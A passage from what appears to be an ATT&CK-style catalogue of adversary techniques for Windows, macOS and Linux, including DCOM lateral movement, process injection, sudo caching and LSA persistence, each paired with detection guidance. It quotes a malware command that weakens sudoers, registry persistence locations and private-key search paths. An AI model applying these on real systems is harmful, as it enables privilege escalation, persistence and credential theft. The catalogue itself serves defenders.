Inventory Control Panel items to locate unregistered and potentially malicious files present on systems: *Executable format registered Control Panel items will have a globally unique identifier (GUID) and registration Registry entries in <code>HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\ControlPanel\NameSpace</code> and <code>HKEY_CLASSES_ROOT\CLSID{GUID}</code>. These entries may contain information about the Control Panel item such as its display name, path to the local file, and the command executed when opened in the Control Panel. (Citation: Microsoft Implementing CPL) * CPL format registered Control Panel items stored in the System32 directory are automatically shown in the Control Panel. Other Control Panel items will have registration entries in the <code>Cpls</code> and <code>Extended Properties</code> Registry keys of <code>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Control Panel</code>. These entries may include information such as a GUID, path to the local file, and a canonical name used to launch the file programmatically (<code> WinExec("c:\windows\system32\control.exe {Canonical_Name}", SW_NORMAL);</code>) or from a command line (<code>control.exe /name {Canonical_Name}</code>). (Citation: Microsoft Implementing CPL) *Some Control Panel items are extensible via Shell extensions registered in <code>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Controls Folder{name}\Shellex\PropertySheetHandlers</code> where {name} is the predefined name of the system item. (Citation: Microsoft Implementing CPL)
Analyze new Control Panel items as well as those present on disk for malicious content. Both executable and CPL formats are compliant Portable Executable (PE) images and can be examined using traditional tools and methods, pending anti-reverse-engineering techniques. (Citation: TrendMicro CPL Malware Jan 2014)
Platforms: Windows
Data Sources: API monitoring, Binary file metadata, DLL monitoring, Process command-line parameters, Process Monitoring, Windows Registry, Windows event logs
Defense Bypassed: Application whitelisting, Process whitelisting
Permissions Required: User, Administrator, SYSTEM
Remote Support: No
Links |
https://msdn.microsoft.com/library/windows/desktop/cc144185.aspx |
Distributed Component Object Model - T1175
Windows Distributed Component Object Model (DCOM) is transparent middleware that extends the functionality of Component Object Model (COM) (Citation: Microsoft COM) beyond a local computer using remote procedure call (RPC) technology. COM is a component of the Windows application programming interface (API) that enables interaction between software objects. Through COM, a client object can call methods of server objects, which are typically Dynamic Link Libraries (DLL) or executables (EXE).
Permissions to interact with local and remote server COM objects are specified by access control lists (ACL) in the Registry. (Citation: Microsoft COM) ACL (Citation: Microsoft Process Wide Com Keys) (Citation: Microsoft System Wide Com Keys) By default, only Administrators may remotely activate and launch COM objects through DCOM.
Adversaries may use DCOM for lateral movement. Through DCOM, adversaries operating in the context of an appropriately privileged user can remotely obtain arbitrary and even direct shellcode execution through Office applications (Citation: Enigma Outlook DCOM Lateral Movement Nov 2017) as well as other Windows objects that contain insecure methods. (Citation: Enigma MMC20 COM Jan 2017) (Citation: Enigma DCOM Lateral Movement Jan 2017) DCOM can also execute macros in existing documents (Citation: Enigma Excel DCOM Sept 2017) and may also invoke Dynamic Data Exchange (DDE) execution directly through a COM created instance of a Microsoft Office application (Citation: Cyberreason DCOM DDE Lateral Movement Nov 2017), bypassing the need for a malicious document.
Detection: Monitor for COM objects loading DLLs and other modules not typically associated with the application. (Citation: Enigma Outlook DCOM Lateral Movement Nov 2017)
Monitor for spawning of processes associated with COM objects, especially those invoked by a user different than the one currently logged on.
Monitor for influx of Distributed Computing Environment/Remote Procedure Call (DCE/RPC) traffic.
Platforms: Windows
Data Sources: API monitoring, Authentication logs, DLL monitoring, Packet capture, Process monitoring, Windows Registry, Windows event logs
Permissions Required: Administrator, SYSTEM
Exploitation for Defense Evasion - T1211
Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Vulnerabilities may exist in defensive security software that can be used to disable or circumvent them.
Adversaries may have prior knowledge through reconnaissance that security software exists within an environment or they may perform checks during or shortly after the system is compromised for Security Software Discovery. The security software will likely be targeted directly for exploitation. There are examples of antivirus software being targeted by persistent threat groups to avoid detection.
Detection: Exploitation for defense evasion may happen shortly after the system has been compromised to prevent detection during later actions for for additional tools that may be brought in and used. Detecting software exploitation may be difficult depending on the tools available. Software exploits may not always succeed or may cause the exploited process to become unstable or crash. Also look for behavior on the system that might indicate successful compromise, such as abnormal behavior of processes. This could include suspicious files written to disk, evidence of Process Injection for attempts to hide execution or evidence of Discovery.
Platforms: Linux, Windows, macOS
Data Sources: Windows Error Reporting, Process Monitoring, File monitoring
Defense Bypassed: Anti-virus, System access controls
Permissions Required: User
Contributors: John Lambert, Microsoft Threat Intelligence Center
Links |
Startup Items - T1165
Per Apple’s documentation, startup items execute during the final phase of the boot process and contain shell scripts or other executable files along with configuration information used by the system to determine the execution order for all startup items (Citation: Startup Items). This is technically a deprecated version (superseded by Launch Daemons), and thus the appropriate folder, <code>/Library/StartupItems</code> isn’t guaranteed to exist on the system by default, but does appear to exist by default on macOS Sierra. A startup item is a directory whose executable and configuration property list (plist), <code>StartupParameters.plist</code>, reside in the top-level directory.
An adversary can create the appropriate folders/files in the StartupItems directory to register their own persistence mechanism (Citation: Methods of Mac Malware Persistence). Additionally, since StartupItems run during the bootup phase of macOS, they will run as root. If an adversary is able to modify an existing Startup Item, then they will be able to Privilege Escalate as well.
Detection: The <code>/Library/StartupItems</code> folder can be monitored for changes. Similarly, the programs that are actually executed from this mechanism should be checked against a whitelist. Monitor processes that are executed during the bootup process to check for unusual or unknown applications and behavior.
Platforms: macOS
Data Sources: File monitoring, Process Monitoring
Effective Permissions: root
Permissions Required: Administrator
Links |
https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf |
Man in the Browser - T1185
Adversaries can take advantage of security vulnerabilities and inherent functionality in browser software to change content, modify behavior, and intercept information as part of various man in the browser techniques. (Citation: Wikipedia Man in the Browser)
A specific example is when an adversary injects software into a browser that allows an them to inherit cookies, HTTP sessions, and SSL client certificates of a user and use the browser as a way to pivot into an authenticated intranet. (Citation: Cobalt Strike Browser Pivot) (Citation: ICEBRG Chrome Extensions)
Browser pivoting requires the SeDebugPrivilege and a high-integrity process to execute. Browser traffic is pivoted from the adversary’s browser through the user’s browser by setting up an HTTP proxy which will redirect any HTTP and HTTPS traffic. This does not alter the user’s traffic in any way. The proxy connection is severed as soon as the browser is closed. Whichever browser process the proxy is injected into, the adversary assumes the security context of that process. Browsers typically create a new process for each tab that is opened and permissions and certificates are separated accordingly. With these permissions, an adversary could browse to any resource on an intranet that is accessible through the browser and which the browser has sufficient permissions, such as Sharepoint or webmail. Browser pivoting also eliminates the security provided by 2-factor authentication. (Citation: cobaltstrike manual)
Detection: This is a difficult technique to detect because adversary traffic would be masked by normal user traffic. No new processes are created and no additional software touches disk. Authentication logs can be used to audit logins to specific web applications, but determining malicious logins versus benign logins may be difficult if activity matches typical user behavior. Monitor for process injection against browser applications
Platforms: Windows
Data Sources: Authentication logs, Packet capture, Process Monitoring, API monitoring
Permissions Required: Administrator, SYSTEM
Contributors: Justin Warner, ICEBRG
Links |
Exploitation for Credential Access - T1212
Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Credentialing and authentication mechanisms may be targeted for exploitation by adversaries as a means to gain access to useful credentials or circumvent the process to gain access to systems. One example of this is MS14-068, which targets Kerberos and can be used to forge Kerberos tickets using domain user permissions. (Citation: Technet MS14-068) (Citation: ADSecurity Detecting Forged Tickets) Exploitation for credential access may also result in Privilege Escalation depending on the process targeted or credentials obtained.
Detection: Detecting software exploitation may be difficult depending on the tools available. Software exploits may not always succeed or may cause the exploited process to become unstable or crash. Also look for behavior on the system that might indicate successful compromise, such as abnormal behavior of processes. Credential resources obtained through exploitation may be detectable in use if they are not normally used or seen.
Platforms: Linux, Windows, macOS
Data Sources: Authentication logs, Windows Error Reporting, Process Monitoring
Permissions Required: User
Contributors: John Lambert, Microsoft Threat Intelligence Center
Links |
https://technet.microsoft.com/en-us/library/security/ms14-068.aspx |
LC_LOAD_DYLIB Addition - T1161
Mach-O binaries have a series of headers that are used to perform certain operations when a binary is loaded. The LC_LOAD_DYLIB header in a Mach-O binary tells macOS and OS X which dynamic libraries (dylibs) to load during execution time. These can be added ad-hoc to the compiled binary as long adjustments are made to the rest of the fields and dependencies (Citation: Writing Bad Malware for OSX). There are tools available to perform these changes. Any changes will invalidate digital signatures on binaries because the binary is being modified. Adversaries can remediate this issue by simply removing the LC_CODE_SIGNATURE command from the binary so that the signature isn’t checked at load time (Citation: Malware Persistence on OS X).
Detection: Monitor processes for those that may be used to modify binary headers. Monitor file systems for changes to application binaries and invalid checksums/signatures. Changes to binaries that do not line up with application updates or patches are also extremely suspicious.
Platforms: macOS
Data Sources: Binary file metadata, Process Monitoring, Process command-line parameters, File monitoring
Permissions Required: User
Links |
https://www.blackhat.com/docs/us-15/materials/us-15-Wardle-Writing-Bad-A-Malware-For-OS-X.pdf |
LSASS Driver - T1177
The Windows security subsystem is a set of components that manage and enforce the security policy for a computer or domain. The Local Security Authority (LSA) is the main component responsible for local security policy and user authentication. The LSA includes multiple dynamic link libraries (DLLs) associated with various other security functions, all of which run in the context of the LSA Subsystem Service (LSASS) lsass.exe process. (Citation: Microsoft Security Subsystem)
Adversaries may target lsass.exe drivers to obtain execution and/or persistence. By either replacing or adding illegitimate drivers (e.g., DLL Side-Loading or DLL Search Order Hijacking), an adversary can achieve arbitrary code execution triggered by continuous LSA operations.
Detection: With LSA Protection enabled, monitor the event logs (Events 3033 and 3063) for failed attempts to load LSA plug-ins and drivers. (Citation: Microsoft LSA Protection Mar 2014)
Utilize the Sysinternals Autoruns/Autorunsc utility (Citation: TechNet Autoruns) to examine loaded drivers associated with the LSA.
Utilize the Sysinternals Process Monitor utility to monitor DLL load operations in lsass.exe. (Citation: Microsoft DLL Security)
Platforms: Windows
Data Sources: API monitoring, DLL monitoring, File monitoring, Kernel drivers, Loaded DLLs, Process Monitoring
Permissions Required: Administrator, SYSTEM
Remote Support: No
Contributors: Vincent Le Toux
Links |
https://msdn.microsoft.com/library/windows/desktop/ff919712.aspx |
Data Staged - T1074
Collected data is staged in a central location or directory prior to Exfiltration. Data may be kept in separate files or combined into one file through techniques such as Data Compressed or Data Encrypted.
Interactive command shells may be used, and common functionality within cmd and bash may be used to copy data into a staging location.
Detection: Processes that appear to be reading files from disparate locations and writing them to the same directory or file may be an indication of data being staged, especially if they are suspected of performing encryption or compression on the files.
Monitor processes and command-line arguments for actions that could be taken to collect and combine files. Remote access tools with built-in features may interact directly with the Windows API to gather and copy to a location. Data may also be acquired and staged through Windows system management tools such as Windows Management Instrumentation and PowerShell.
Platforms: Linux, macOS, Windows
Data Sources: File monitoring, Process monitoring, Process command-line parameters
Links |
Spearphishing via Service - T1194
Spearphishing via service is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of third party services rather than directly via enterprise email channels.
All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries send messages through various social media services, personal webmail, and other non-enterprise controlled services. These services are more likely to have a less-strict security policy than an enterprise. As with most kinds of spearphishing, the goal is to generate rapport with the target or get the target’s interest in some way. Adversaries will create fake social media accounts and message employees for potential job opportunities. Doing so allows a plausible reason for asking about services, policies, and software that’s running in an environment. The adversary can then send malicious links or attachments through these services.
A common example is to build rapport with a target via social media, then send content to a personal webmail service that the target uses on their work computer. This allows an adversary to bypass some email restrictions on the work account, and the target is more likely to open the file since it’s something they were expecting. If the payload doesn’t work as expected, the adversary can continue normal communications and troubleshoot with the target on how to get it working.
Detection: Because most common third-party services used for spearphishing via service leverage TLS encryption, SSL/TLS inspection is generally required to detect the initial communication/delivery. With SSL/TLS inspection intrusion detection signatures or other security gateway appliances may be able to detect malware.
Anti-virus can potentially detect malicious documents and files that are downloaded on the user’s computer. Endpoint sensing or network sensing can potentially detect malicious events once the file is opened (such as a Microsoft Word document or PDF reaching out to the internet or spawning Powershell.exe) for techniques such as Exploitation for Client Execution and Scripting.
Platforms: Linux, Windows, macOS
Data Sources: SSL/TLS inspection, Anti-virus, Web proxy
Links |
New Service - T1050
When operating systems boot up, they can start programs or applications called services that perform background system functions. (Citation: TechNet Services) A service’s configuration information, including the file path to the service’s executable, is stored in the Windows Registry.
Adversaries may install a new service that can be configured to execute at startup by using utilities to interact with services or by directly modifying the Registry. The service name may be disguised by using a name from a related operating system or benign software with Masquerading. Services may be created with administrator privileges but are executed under SYSTEM privileges, so an adversary may also use a service to escalate privileges from administrator to SYSTEM. Adversaries may also directly start services through Service Execution.
Detection: Monitor service creation through changes in the Registry and common utilities using command-line invocation. New, benign services may be created during installation of new software. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.
Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence. (Citation: TechNet Autoruns) Look for changes to services that do not correlate with known software, patch cycles, etc. Suspicious program execution through services may show up as outlier processes that have not been seen before when compared against historical data.
Monitor processes and command-line arguments for actions that could create services. Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Services may also be created through Windows system management tools such as Windows Management Instrumentation and PowerShell, so additional logging may need to be configured to gather the appropriate data.
Platforms: Windows
Data Sources: Windows Registry, Process monitoring, Process command-line parameters
Effective Permissions: SYSTEM
Permissions Required: Administrator, SYSTEM
Links |
Network Share Connection Removal - T1126
Windows shared drive and Windows Admin Shares connections can be removed when no longer needed. Net is an example utility that can be used to remove network share connections with the <code>net use \\system\share /delete</code> command. (Citation: Technet Net Use)
Adversaries may remove share connections that are no longer useful in order to clean up traces of their operation.
Detection: Network share connections may be common depending on how an network environment is used. Monitor command-line invocation of <code>net use</code> commands associated with establishing and removing remote shares over SMB, including following best practices for detection of Windows Admin Shares. SMB traffic between systems may also be captured and decoded to look for related network share session and file transfer activity. Windows authentication logs are also useful in determining when authenticated network shares are established and by which account, and can be used to correlate network share activity to other events to investigate potentially malicious activity.
Platforms: Windows
Data Sources: Process monitoring, Process command-line parameters, Packet capture, Authentication logs
Defense Bypassed: Host forensic analysis
Permissions Required: User, Administrator
System Requirements: Established network share connection to a remote system. Level of access depends on permissions of the account used.
Links |
Private Keys - T1145
Private cryptographic keys and certificates are used for authentication, encryption/decryption, and digital signatures. (Citation: Wikipedia Public Key Crypto)
Adversaries may gather private keys from compromised systems for use in authenticating to Remote Services like SSH or for use in decrypting other collected files such as email. Common key and certificate file extensions include: .key, .pgp, .gpg, .ppk., .p12, .pem, pfx, .cer, .p7b, .asc. Adversaries may also look in common key directories, such as <code>~/.ssh</code> for SSH keys on *nix-based systems or <code>C:\Users\(username)\.ssh\</code> on Windows.
Private keys should require a password or passphrase for operation, so an adversary may also use Input Capture for keylogging or attempt to Brute Force the passphrase off-line.
Adversary tools have been discovered that search compromised systems for file extensions relating to cryptographic keys and certificates. (Citation: Kaspersky Careto) (Citation: Palo Alto Prince of Persia)
Detection: Monitor access to files and directories related to cryptographic keys and certificates as a means for potentially detecting access patterns that may indicate collection and exfiltration activity. Collect authentication logs and look for potentially abnormal activity that may indicate improper use of keys or certificates for remote authentication.
Platforms: Linux, Windows, macOS
Data Sources: File monitoring
Permissions Required: User
Contributors: Itzik Kotler, SafeBreach
Process Doppelgänging - T1186
Windows Transactional NTFS (TxF) was introduced in Vista as a method to perform safe file operations. (Citation: Microsoft TxF) To ensure data integrity, TxF enables only one transacted handle to write to a file at a given time. Until the write handle transaction is terminated, all other handles are isolated from the writer and may only read the committed version of the file that existed at the time the handle was opened. (Citation: Microsoft Basic TxF Concepts) To avoid corruption, TxF performs an automatic rollback if the system or application fails during a write transaction. (Citation: Microsoft Where to use TxF)
Although deprecated, the TxF application programming interface (API) is still enabled as of Windows 10. (Citation: BlackHat Process Doppelgänging Dec 2017)
Adversaries may leverage TxF to a perform a file-less variation of Process Injection called Process Doppelgänging. Similar to Process Hollowing, Process Doppelgänging involves replacing the memory of a legitimate process, enabling the veiled execution of malicious code that may evade defenses and detection. Process Doppelgänging’s use of TxF also avoids the use of highly-monitored API functions such as NtUnmapViewOfSection, VirtualProtectEx, and SetThreadContext. (Citation: BlackHat Process Doppelgänging Dec 2017)
Process Doppelgänging is implemented in 4 steps (Citation: BlackHat Process Doppelgänging Dec 2017): * Transact – Create a TxF transaction using a legitimate executable then overwrite the file with malicious code. These changes will be isolated and only visible within the context of the transaction. * Load – Create a shared section of memory and load the malicious executable. * Rollback – Undo changes to original executable, effectively removing malicious code from the file system. * Animate – Create a process from the tainted section of memory and initiate execution.
Detection: Monitor and analyze calls to CreateTranscation, CreateFileTransacted, RollbackTransaction, and other rarely used functions indicative of TxF activity. Process Doppelgänging also invokes an outdated and undocumented implementation of the Windows process loader via calls to NtCreateProcessEx and NtCreateThreadEx as well as API calls used to modify memory within another process, such as WriteProcessMemory. (Citation: BlackHat Process Doppelgänging Dec 2017) (Citation: hasherezade Process Doppelgänging Dec 2017)
Scan file objects reported during the PsSetCreateProcessNotifyRoutine, (Citation: Microsoft PsSetCreateProcessNotifyRoutine routine) which triggers a callback whenever a process is created or deleted, specifically looking for file objects with enabled write access. (Citation: BlackHat Process Doppelgänging Dec 2017) Also consider comparing file objects loaded in memory to the corresponding file on disk. (Citation: hasherezade Process Doppelgänging Dec 2017)
Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior.
Platforms: Windows
Data Sources: API monitoring, Process Monitoring
Defense Bypassed: Process whitelisting, Anti-virus, Whitelisting by file name or path, Signature-based detection
Permissions Required: User, Administrator, SYSTEM
Trusted Relationship - T1199
Adversaries may breach or otherwise leverage organizations who have access to intended victims. Access through trusted third party relationship exploits an existing connection that may not be protected or receives less scrutiny than standard mechanisms of gaining access to a network.
Organizations often grant elevated access to second or third-party external providers in order to allow them to manage internal systems. Some examples of these relationships include IT services contractors, managed security providers, infrastructure contractors (e.g. HVAC, elevators, physical security). The third-party provider’s access may be intended to be limited to the infrastructure being maintained, but may exist on the same network as the rest of the enterprise. As such, Valid Accounts used by the other party for access to internal network systems may be compromised and used.
Detection: Establish monitoring for activity conducted by second and third party providers and other trusted entities that may be leveraged as a means to gain access to the network. Depending on the type of relationship, an adversary may have access to significant amounts of information about the target before conducting an operation, especially if the trusted relationship is based on IT services. Adversaries may be able to act quickly towards an objective, so proper monitoring for behavior related to Credential Access, Lateral Movement, and Collection will be important to detect the intrusion.
Platforms: Linux, Windows, macOS
Data Sources: Application Logs, Authentication logs, Third-party application logs
Links |
Dynamic Data Exchange - T1173
Windows Dynamic Data Exchange (DDE) is a client-server protocol for one-time and/or continuous inter-process communication (IPC) between applications. Once a link is established, applications can autonomously exchange transactions consisting of strings, warm data links (notifications when a data item changes), hot data links (duplications of changes to a data item), and requests for command execution.
Object Linking and Embedding (OLE), or the ability to link data between documents, was originally implemented through DDE. Despite being superseded by COM, DDE may be enabled in Windows 10 and most of Microsoft Office 2016 via Registry keys. (Citation: BleepingComputer DDE Disabled in Word Dec 2017) (Citation: Microsoft ADV170021 Dec 2017) (Citation: Microsoft DDE Advisory Nov 2017)
Adversaries may use DDE to execute arbitrary commands. Microsoft Office documents can be poisoned with DDE commands (Citation: SensePost PS DDE May 2016) (Citation: Kettle CSV DDE Aug 2014), directly or through embedded files (Citation: Enigma Reviving DDE Jan 2018), and used to deliver execution via phishing campaigns or hosted Web content, avoiding the use of Visual Basic for Applications (VBA) macros. (Citation: SensePost MacroLess DDE Oct 2017) DDE could also be leveraged by an adversary operating on a compromised machine who does not have direct access to command line execution.
Detection: OLE and Office Open XML files can be scanned for ‘DDEAUTO', ‘DDE’, and other strings indicative of DDE execution. (Citation: NVisio Labs DDE Detection Oct 2017)
Monitor for Microsoft Office applications loading DLLs and other modules not typically associated with the application.
Monitor for spawning of unusual processes (such as cmd.exe) from Microsoft Office applications.
Platforms: Windows
Data Sources: API monitoring, DLL monitoring, Process Monitoring, Windows Registry, Windows event logs
Permissions Required: User
Remote Support: No
Sudo Caching - T1206
The <code>sudo</code> command "allows a system administrator to delegate authority to give certain users (or groups of users) the ability to run some (or all) commands as root or another user while providing an audit trail of the commands and their arguments" (Citation: sudo man page 2018). Since sudo was made for the system administrator, it has some useful configuration features such as a <code>timestamp_timeout</code> that is the amount of time in minutes between instances of <code>sudo</code> before it will re-prompt for a password. This is because <code>sudo</code> has the ability to cache credentials for a period of time. Sudo creates (or touches) a file at <code>/var/db/sudo</code> with a timestamp of when sudo was last run to determine this timeout. Additionally, there is a <code>tty_tickets</code> variable that treats each new tty (terminal session) in isolation. This means that, for example, the sudo timeout of one tty will not affect another tty (you will have to type the password again).
Adversaries can abuse poor configurations of this to escalate privileges without needing the user’s password. <code>/var/db/sudo</code>'s timestamp can be monitored to see if it falls within the <code>timestamp_timeout</code> range. If it does, then malware can execute sudo commands without needing to supply the user’s password. Combined with <code>tty_tickets</code> being disabled, means adversaries can do this from any tty for that user.
The OSX Proton Malware has disabled <code>tty_tickets</code> to potentially make scripting easier by issuing <code>echo \'Defaults !tty_tickets\' >> /etc/sudoers</code> (Citation: cybereason osx proton). In order for this change to be reflected, the Proton malware also must issue <code>killall Terminal</code>. As of macOS Sierra, the sudoers file has <code>tty_tickets</code> enabled by default.
Detection: This technique is abusing normal functionality in macOS and Linux systems, but sudo has the ability to log all input and output based on the <code>LOG_INPUT</code> and <code>LOG_OUTPUT</code> directives in the <code>/etc/sudoers</code> file.
Platforms: Linux, macOS
Data Sources: File monitoring, Process command-line parameters
Effective Permissions: root
Permissions Required: User
Links |
https://www.cybereason.com/blog/labs-proton-b-what-this-mac-malware-actually-does |
Rc.common - T1163
During the boot process, macOS executes <code>source /etc/rc.common</code>, which is a shell script containing various utility functions. This file also defines routines for processing command-line arguments and for gathering system settings, and is thus recommended to include in the start of Startup Item Scripts (Citation: Startup Items). In macOS and OS X, this is now a deprecated technique in favor of launch agents and launch daemons, but is currently still used.
Adversaries can use the rc.common file as a way to hide code for persistence that will execute on each reboot as the root user (Citation: Methods of Mac Malware Persistence).
Detection: The <code>/etc/rc.common</code> file can be monitored to detect changes from the company policy. Monitor process execution resulting from the rc.common script for unusual or unknown applications or behavior.
Platforms: macOS
Data Sources: File monitoring, Process Monitoring
Permissions Required: root
Links |
https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf |
Process Injection - T1055
Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process’s memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
===Windows===
There are multiple approaches to injecting code into a live process. Windows implementations include: (Citation: Engame Process Injection July 2017) * '''Dynamic-link library (DLL) injection''' involves writing the path to a malicious DLL inside a process then invoking execution by creating a remote thread. * '''Portable executable injection''' involves writing malicious code directly into the process (without a file on disk) then invoking execution with either additional code or by creating a remote thread. The displacement of the injected code introduces the additional requirement for functionality to remap memory references. Variations of this method such as reflective DLL injection (writing a self-mapping DLL into a process) and memory module (map DLL when writing into process) overcome the address relocation issue. (Citation: Endgame HuntingNMemory June 2017) * '''Thread execution hijacking''' involves injecting malicious code or the path to a DLL into a thread of a process. Similar to Process Hollowing, the thread must first be suspended. * '''Asynchronous Procedure Call''' (APC) injection involves attaching malicious code to the APC Queue (Citation: Microsoft APC) of a process’s thread. Queued APC functions are executed when the thread enters an alterable state. AtomBombing (Citation: ENSIL AtomBombing Oct 2016) is a variation that utilizes APCs to invoke malicious code previously written to the global atom table. (Citation: Microsoft Atom Table) * '''Thread Local Storage''' (TLS) callback injection involves manipulating pointers inside a portable executable (PE) to redirect a process to malicious code before reaching the code’s legitimate entry point. (Citation: FireEye TLS Nov 2017)
===Mac and Linux===
Implementations for Linux and OS X/macOS systems include: (Citation: Datawire Code Injection) (Citation: Uninformed Needle) *'''LD_PRELOAD, LD_LIBRARY_PATH''' (Linux), '''DYLD_INSERT_LIBRARIES''' (Mac OS X) environment variables, or the dlfcn application programming interface (API) can be used to dynamically load a library (shared object) in a process which can be used to intercept API calls from the running process. (Citation: Phrack halfdead 1997) *'''Ptrace system calls''' can be used to attach to a running process and modify it in runtime. (Citation: Uninformed Needle) *'''/proc/[pid]/mem''' provides access to the memory of the process and can be used to read/write arbitrary data to it. This technique is very rare due to its complexity. (Citation: Uninformed Needle) *'''VDSO hijacking''' performs runtime injection on ELF binaries by manipulating code stubs mapped in from the linux-vdso.so shared object. (Citation: VDSO hijack 2009)
Malware commonly utilizes process injection to access system resources through which Persistence and other environment modifications can be made. More sophisticated samples may perform multiple process injections to segment modules and further evade detection, utilizing named pipes or other inter-process communication (IPC) mechanisms as a communication channel.
Detection: Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. API calls such as CreateRemoteThread, SuspendThread/SetThreadContext/ResumeThread, QueueUserAPC, and those that can be used to modify memory within another process, such as WriteProcessMemory, may be used for this technique. (Citation: Engame Process Injection July 2017)
Monitoring for Linux specific calls such as the ptrace system call, the use of LD_PRELOAD environment variable, or dlfcn dynamic linking API calls, should not generate large amounts of data due to their specialized nature, and can be a very effective method to detect some of the common process injection methods. (Citation: ArtOfMemoryForensics) (Citation: GNU Acct) (Citation: RHEL auditd) (Citation: Chokepoint preload rootkits)
Monitor for named pipe creation and connection events (Event IDs 17 and 18) for possible indicators of infected processes with external modules. (Citation: Microsoft Sysmon v6 May 2017)
Monitor processes and command-line arguments for actions that could be done before or after code injection has occurred and correlate the information with related event information. Code injection may also be performed using PowerShell with tools such as PowerSploit, (Citation: Powersploit) so additional PowerShell monitoring may be required to cover known implementations of this behavior.
Platforms: Linux, macOS, Windows
Data Sources: API monitoring, Windows Registry, File monitoring, DLL monitoring, Named Pipes, Process Monitoring
Effective Permissions: User, Administrator, SYSTEM, root
Defense Bypassed: Process whitelisting, Anti-virus
Permissions Required: User, Administrator, SYSTEM, root
Contributors: Anastasios Pingios
Authentication Package - T1131
Windows Authentication Package DLLs are loaded by the Local Security Authority (LSA) process at system start. They provide support for multiple logon processes and multiple security protocols to the operating system. (Citation: MSDN Authentication Packages)
Adversaries can use the autostart mechanism provided by LSA Authentication Packages for persistence by placing a reference to a binary in the Windows Registry location <code>HKLM\SYSTEM\CurrentControlSet\Control\Lsa\</code> with the key value of <code>"Authentication Packages"=<target binary></code>. The binary will then be executed by the system when the authentication packages are loaded.
Detection: Monitor the Registry for changes to the LSA Registry keys. Monitor the LSA process for DLL loads. Windows 8.1 and Windows Server 2012 R2 may generate events when unsigned DLLs try to load into the LSA by setting the Registry key <code>HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\LSASS.exe</code> with AuditLevel = 8. (Citation: Graeber 2014) (Citation: Microsoft Configure LSA)
Platforms: Windows
Data Sources: DLL monitoring, Windows Registry, Loaded DLLs
Permissions Required: Administrator
Links |
https://msdn.microsoft.com/library/windows/desktop/aa374733.aspx |
http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html |
Multilayer Encryption - T1079
An adversary performs C2 communications using multiple layers of encryption, typically (but not exclusively) tunneling a custom encryption scheme within a protocol encryption scheme such as HTTPS or SMTPS.
Detection: If malware uses Standard Cryptographic Protocol, SSL/TLS inspection can be used to detect command and control traffic within some encrypted communication channels. (Citation: SANS Decrypting SSL) SSL/TLS inspection does come with certain risks that should be considered before implementing to avoid potential security issues such as incomplete certificate validation. (Citation: SEI SSL Inspection Risks) After SSL/TLS inspection, additional cryptographic analysis may be needed to analyze the second layer of encryption.
With Custom Cryptographic Protocol, if malware uses encryption with symmetric keys, it may be possible to obtain the algorithm and key from samples and use them to decode network traffic to detect malware communications signatures. (Citation: Fidelis DarkComet)
In general, analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)
Platforms: Linux, macOS, Windows
Data Sources: Packet capture, Process use of network, Malware reverse engineering, Process monitoring
Requires Network: Yes
Component Firmware - T1109
Some adversaries may employ sophisticated means to compromise computer components and install malicious firmware that will execute adversary code outside of the operating system and main system firmware or BIOS. This technique may be similar to System Firmware but conducted upon other system components that may not have the same capability or level of integrity checking. Malicious device firmware could provide both a persistent level of access to systems despite potential typical failures to maintain access and hard disk re-images, as well as a way to evade host software-based defenses and integrity checks.
Platforms: Windows
Defense Bypassed: Anti-virus, File monitoring, Host intrusion prevention systems
Permissions Required: SYSTEM
System Requirements: Ability to update component device firmware from the host operating system.
Links |
Network Share Discovery - T1135
Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
===Windows===
File sharing over a Windows network occurs over the SMB protocol. (Citation: Wikipedia Shared Resource) (Citation: TechNet Shared Folder)
Net can be used to query a remote system for available shared drives using the <code>net view \\remotesystem</code> command. It can also be used to query shared drives on the local system using <code>net share</code>.
Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement.
===Mac===
On Mac, locally mounted shares can be viewed with the <code>df -aH</code> command.
Detection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.
Normal, benign system and network events related to legitimate remote system discovery may be uncommon, depending on the environment and how they are used. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.
Platforms: macOS, Windows
Data Sources: Process Monitoring, Process command-line parameters, Network protocol analysis, Process use of network
Permissions Required: User
Links |
Windows Management Instrumentation Event Subscription - T1084
